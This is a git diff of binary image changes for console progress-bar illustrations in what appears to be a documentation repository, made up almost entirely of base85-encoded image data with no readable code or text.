zICSy!LjT=0t~y520VWGJiZ;<IoYJ6>Z$yF4Os5NrjdVDR4)N7iLc>~%UbmVUlYG%v
zh067-U>xDkAKU3bA$nk!{j~6)q7qVzA19+DBAR_S&09|IDF;aOMcGOsG#akX3G7=~
zj6O1Z>W!f;bIi38#%BR_4u~$lVG5vfVxf2WbJP^5BgN&?=TZ>yEnvYSw~SC*l9VLi
z?siL-A8Q<n<pO+#6l%<ZA1Ir6pUVz3KJLLh=o(JH+z_ou)*<-P$#vifU3)DlosPsC
z?IXT9m79H_#L#JhQp-uXFZ5KbAs}iVPo&^xtc2KdJp7nz+DMPh#v}e2LX-Y~-Sc?2
z0gt?w+T(!hLlR6yUATrGcq%thr~h75uTWOA{u9)7H*c=ioIdUK`&mpGRdUV5b<n}o
zt-{uwfQ&v!oIp6X?)c9guwn)84sUW=7B_;dhOT{fb2EchIQj`6R7>*Am`*O4Y+B5I
zD_uWk>+;}%A(swdFs3cHG_ct~MxfxL_jN{a2Bci(%Z&l_r*kr;0MCuBXuk<C2;UT>
z2wAbaWZ&67@|f?iO_4o76%YJNZQOY5H}Y<Ym!JF$E%kf~@7}WxV;#m2-3TSc1*Gde
zOTx5cs$RjUgW(y{{TlSnz?>Vpc0f$-ft4#FRRWpOAY_a~CBczyv6sBX?7W|d!afp3
za>){t;2Oa(c#n=H@Jwr=<QF#gl;k9M`g|h}fm{_ub%E9l!?4HBGbO8t<-~5xxia^N
zkqdD0hEclY8n+8bX)t=s6?`178X*UWdUwRT?8WH*`Zq2F9sibo(CQ2eapbA8%a?-^
zs2O<Ap`JmU^rQ>}@gH9|hwSGp+TSzRk3e%l9<($y<6smHy3F}Gh4QIDaB;Rwp7VI?
zpbNP>DLT&@E*+`Dl~TOd!2~RPmfj2sxmU&+I%9VjXKQ!q(E^w`R?mWBW<hFKv*qv|
z?e33$A+mxC`X$MCYCCJFK_@NVcHLosuA2um#CYw~KgzL(*TtcK85VNfpYHEhsh!)5
z7ygsMOF2@VgUJ54)&9NM-bedl4J-=eS5yx{Ty6dAV7`ESH8GTFQ%-m{X>2Y$9V(us
zf1uf|XYV`Qklfcz-{nbuMjl?JeA-oW@)17b{x5`-L3Ui7VpeBK*-CyrXVrg*R`Gtt
zvcMUX!aaYJSYqh*7`q%?vbRyQ%-^e_m)dQZz=C15h-2&irF!l_K`B;zBntuR%3l?}
z*6RI5ZKf(mGlm|}m5Nq9mhSTxJ~fB<EF%}@loQ$~S)s{@L5r4N7_hf`=88G-gTR_C
z6PQEuz6!)pPh+wqGILEX{~*fOd^1t|qfv?Q$sWLr+1usC&Tf2p3zf&1kME`|^_0b+
z-Hh)S;W_19)r8K{N?a9N`3>2}nBeSVRT?s^!=^%eH0%TpGJIngiR)nTA`!dBJ4y}V
z4Wh^HbTE1f1uQWPlGjx)lFvJ(2KDK}z8v=1q!rWUf=eN9I4X{j@@n0TCw?qg`l^~}
z1W59SAs@^;Qxw)=qW`|mgmi#Xg_x}YTryWO;kpc7MLs3%8yEJzPJ%>7=$aFmCnKZ_
zyt=K+PcS+#aA;>H=S=#^F4@|LqnXr7PH4*6MMITkc?MwGtL2yRH`|Oe)u?!`4OO0=
zE7<K7357M&l4m{WLD+CEje<q3FUsds@%!AI-4L;^=?DzJ<ii11qZI<%^%g0a_}eF2
zegK?L8d*xKH*t*k%)y|4v{9fgwT(N-csNg2Q91>WsbN5Agb18fXhOvAtfIOGU4Dw(
z+cR?7O%QSI<-31oFzN^dAJU$(O-;FsrKagUhZ_O2=b8V6r+pZI=rju(h=IfJb%?NC
zrS)W*(ar}pJ26!)C9G|?*+=vYHn0qha`f~~@1BqJ)FKapUY`lCNz@uzVtlq*%W|}R
z#R>o9#ue~1ZG#plM94vM7NWTYiEQF<3P=m7FKz{g)*2ZSd`J#at<{0WHo-<Ql5{fk
zSXj5b@=srRkfxMslr-(5wm7vaQ8W@;8Nown+;YBMrPt?0>u?){KTE_`W?N06=H=7K
zj2&&6zWr>%BgavBXr*n7iyc*45+nJGQ3MxIp}kzCbFHCRTp>CIgI?Dd(>hd6?#<)b
z86vLH&f16WZ&kZ0ga#FScfxO%Wv}@1UfH&%nNDj*u+Lzo`69FGWZEtBs<)L=xXFUd
zo55<QX$U?Zxpdi1VLI2?+>v-wVk~(R<cY^6%sC#<$u;`Av{GXnxpcmPSHUZ#8ZUbu
znmE%Q1ufkMXIk@JpP)JJcEf0g9R)0zqXS5wfhX}0+h(t7XTOKo`M=0(6!%A~Fr(hS
z%v49X8z>+JG1a$)7P9$rUgvqgScvIOSsVuul~sS!CpmGhdB#G+&eF0E@6KNuF$YZD
zpmC{GK+BYg@H}NOuAo?d&`QUOZGN+u82+&H>$}Ch5`^)TIEzT$4H{^u`EtTmOY24r
zLLiSF=3wvM7Lq5<P2JE%c-^sl$%;mnApC@}m;fF(t8llACoM8#7i`7q&TNhNW?NY8
zsS^0<Rtbo3wIY(P$Z44-E(Qw$L6ulnf(5v=L)F0)BL_GUVn7-dOhj=L2ctL2M;Wdr
zU#3ye1c3h6?Riz;0Y417+(ZJrhpZP@j7hX@6kG%BNOdK>@#)99yK9Ta+C)GwWTnA?
z|3;N8@#oi|#nwjtsA}AP$<cd(YNUkOzkEY4>(PWVj6EsFua-0)u`^n#N5C^_`{bBj
zGnb4V1xIMRTX%>Oq~|CKg4_x6@rw4{6hBDt*~0vZc|%i$&LNLrmql=$<jSdamZzOG
z3ErYXTD35b-H;*IHyuq+V%4z;ia0*sdYT|{boc%Y6A^4CrvEbMR;x!c63dVklr&d5
zfeX@DihI@ShC>kbB3C0yJtvHm8TfF6o)qHva})>(rC&MZE8I{^$8YkCLhy<I9MODL
z*r-tUWwa|X^&&#%NVM{+q^vBc)5_uy#i2RqFn>0sr?jSaxarvML|>HG?lHiYFQO1-
zJclrTP?q~xA6o{>B`fx}URL?MW4Q~7Ut+sMxe2r46A+e1UX`uY<m1!letD&<Phm|!
zCa}K#!iNM*{WX(TCViHJyxCJnlo_nanZlUT<B_&}kVCa}0bbi!p{|(qKJzUPqTI$m
zQP@eC5<Jdf>&^NxAOANy)XPs)MKQ5~$xxJDp>U@vHqDdRgQ*JyO%`VbA^R^@ori4(
zhj=)jn}}Yj%(PsiZfb%^?g;y!?sCHVkFbdoIQB&DjC=%)a*J?BIA4!>Js3<n55yso
z<}_O+CWin;MrQAtGglcRR~`DVWXvQ9Y#<R?gEh)|V{?$&Ix|DH39-jO+p9|$8%fF)
z(v?87mMfD*Tpl%}J3!+PBie5<dhnbk@yU%<?z{~j@)#h{c#O=I=k~!?fp$-gl;v=R
zRn#@^y*hO`ieMFGe&W<u3nnNo6SbnrL8xZlinyzAki$w;Jw@YG&FM>JjG0LV3WTIY
zgzRwzg!ckG(!t?~JtqeJn9BP;+~q@EH8Xq$x)XBx9<Vhp_*CgOZ80aG=_Y}9W+VTe
zueYYpJ)&HupQ=)VjE)>=H8@^ktk!_G&!u|6kmf83b17MFryo@cj^qCqKvdL73EkoB
zMs37zw5Tu27A?0FUAjbtRQ~bz;wNS~i_Uy$|3HE=_9D*ug)hLNOv%P%qbTtfbhG_l
zOH-Bl4M~6Sw%b*0@+iDnR)n=mOy)$f)~^!sE+o`Z39Id7cJz>(u@_Bp1SQ*=q@k!$
zJZ4Yq7m)}ZM|!}So{2@xk7!7tZ#RZ*=g&A(Q(!1@0pU+b!lKF=Kg(k28QB*Bznq3}
zHjBN*do0_;=gE3#6&`CzzQWLiC*)xB=WmP+9h+~1ac3O?!4=C}v7$b6fIG}22J4Zs
zE3=^<7kdS2q~$Q@ewcm@NrOH0yEiMv<;P)MZHu=kOKKRg3O<yDKQF5-+$+N~tv23*
zM5tNf9k-}t|I=0ac_haQYbIaK%ph-q64g_&s7fzo-7hQScwB<Z9{&dWF(nNrjP^n~
z%$TE#0Jg#*?yaWT6RIVqA*AdbO(m985}xSWPN`*AyYfKXNU;~VHP*oLxf(5!lUUPV
zXz&9$@!5rued;rF*G=-tnJ^pE=YIL8HvUkbpl3}QKt?AmiLf4%`IyYl5xIYnjvkx5
z+h>s%$V~7xZWfE|W#fn!z6IeN?!=Gr*NpRQ9}OCLcjU;Cfp;^-M@#p)0sAXw<-}Lh
zq5>Jr*Hrq68q%zEMfKT1zd+paPH)woQ*KUC-RK+?y~3*>Dz_%xy2n0wnh)~Nn#6n`
zbvw_5^JHnoH%yWI18FkhXup+7=vthHIQy`r@RgZKzY!E$2232DwX{IjYwFyshop2+
zF<_zpg#)0z)rDo?7FI)S0%+?6RRy$9MBYGA`l;12{1|Cs2MW<&kd$nmpv%7{l4Piz
z)xkaGyf=m_<zgZO3%wM;XU*j?;2r|T<;c=h4==Ej46KUwVI4I<Yf&XG+_nr;n$tpJ
z$#B=li{N<VtTec1G3Yxx;diJuAgjJkkuh#Ll(fp*MbK)v%MrYaXAm1CRuGTGir^@a
zDS2Dbz$FAVZUsdc*Oqb>;jGWV-p!&>XgBsf)1rK)khEeEmVN{l5_}xY(Y!3Ezv%;8
zsV^C2o=U8=`dx1ok&MLUVl6SV%Gj8W@e|GZE<zl#HZG!ONX2AnQ|Pg#eM>dw@YuOX
zS@=kM2P<1%je8>7>$=O3##@4as(u_*ZVC#ZsD(?q5&2{nc=C~)B?&FytSFc{Hu^U5
zky=OetzndkE#<a43h1iYCFTaYhJ~uzVbsciVhrN}7iK+V>FxNBSu0z%4PDrokj5ET
zS*cs3owqv4vIh`9*9yybu(E_l;8ktxTLm*{VC}^S%Bw|qkosHNL%zDLljt&|Bd>~g
z58|+F`ttd;3mU}ZX6|oNf~%WBw523te~XQd#3B2RwZv}~i~qaHumh9-svA@wJ;5Lx
z&U6y-3!#$~QW&FnhOH;skEzq>oqQfsaSREJCf7~%(uvWl%g?KocO-<&4)I5Y3U?Cp
z#{Q{SQ5jrIE5+W(x2r7Cg_X<$BHqxMrJcZ_*aZFwcLRIrC`xDV=l&)raWy72S+ICw
zl|Pb2B!)8FnAm_{-2_o*^p2EG2k@Sm=&QMfJth(;zYQQh<KhSq-FhR0=@p>WDDL?K
z_2CyYS!~%ZVKSDhYp{h)MH;>;0kuM9x-x(9c<}S+IC|ZVS+qa_Hra~qlAP{(W<__{
zt?iwVyOn-*53SRy-_GVdSaM7i>%sH2u$2DrpDosKI$tSE2KXh;*T$S3d}9*d59P)y
z=(3V24>SxyH*EcDuBdh~tS8_0c=l+~p>vGE;nUr(2u8jjQzFZ2Ota**bQ&~E-OSHz
zg~C!<GfH`)5yUN-Q7%;8F$1`cQaAd`TjUiZzW!;mDdDM?W&|c5t~cj*q(8MYuEWr-
z9SHXfd{22eq!5lj4$VS!w35<SK<qF}aEGE*yF`i3jwc<be|%|!pkbR9t&lk`-N{7F
z{aP6sIOLeGP~QjShn_|x%d+qnP_`jNkw8HDi)^w4YkTN_F268DkI@N7MiHPpp9uJm
zCa=u4b$62r_a=-n-QJ=(WVl^XE=f&Y@_Jq`oPfg-NLw`qo6awPtFFgBKI)-&>k6)^
z0d*5fokIICKxjRldT?N02$n6PI3d3kVM*F&CWpt75vZ>;+Ur_wCOw)i4pz0v5tF&J
zC0Sh&9Du~aDs6~~SKs}8|GcYZiObsaHfB($AWQ7=lM*-95~u?&rNu>KW|TZu>@cfi
zQKB>(n=977RBEkEFz;aHw>#%jH4n)F@y&AvS$sHRWgSAmiugiU#o>|Cp6+EhuDX=$
zQFEHO;lsEl_DYkONsVl%=)}=p#;LCR86-N)JoxSt+`uP_onW10l1od?;0<kvz`<fv
z1eMFgqVVZz1R&J#D0ScNkp10Wq=II0sUwU0vz~LhTPMjwm`vbs$*1uBDWIM$p4%)I
z12|7*<BKdul4cGTZi9&-35Z@^MtRV|t(Udj5NNqmh%78Q0)iyqn#`xx@V2xV#EFq`
zwZXnJN1;S7dJ;_KK(b{+=R)N@anN~o7kM$%rs>ZuGFk$76K5a%-X-3SU+XZi0Sjbf
zwJ}C4Y32wO9@2_a+X{lS9v&k`xW@)Xd^AAPWkEO178_#5)Y%D;6<5Xb@vaxucd=;@
zHy-f%<%Gn-F>bOQzfF0fgX)GJ`J3o%fo_V2gr^7t_(`BeL-=N%c#<lWgp?0)5~2(<
zf_>&PJrSQ%?W&25*v)sNP+8w&HdRrP7(qMI=+kN$yK<K0zhFh5TyYD`sTq5eHehaf
z^anHMF|9j+*HfX<nmexVE=BtNZ=Afg&vNqC1dQHQ(yJ@8DUwcaFC)_RlgOJif;O0t
zh-yMNhyL_26%q1p>R;t^&A#Um>8NkTpP!xi=EHmnOhYSyevb2n_(07!b_&Y7Svj{r
ze^^T$xApQB>zTu%9)5$Ed^-Hrh(_c8$sU$R{_a3@5c*{3C{Q{LlQJDSCNchUC4V`?
mzwb5vLm>YDa^g!*df8#EV`Q;AO3DZFc}R)Li&hF7`29a)o9L7P

diff --git a/_images/components/console/progress.png b/_images/components/console/progress.png
deleted file mode 100644
index c126bff52521efea5a6c88bbb42cda127de824df..0000000000000000000000000000000000000000
GIT binary patch
literal 0
HcmV?d00001

literal 3365
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

diff --git a/_images/components/console/progressbar.gif b/_images/components/console/progressbar.gif
index 6c80e6e897f670d0a53a1dc115bbe34a71fa1568..0746e3993549acb7d4302f754c3f2fbf942c61d3 100644
GIT binary patch
literal 29886
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
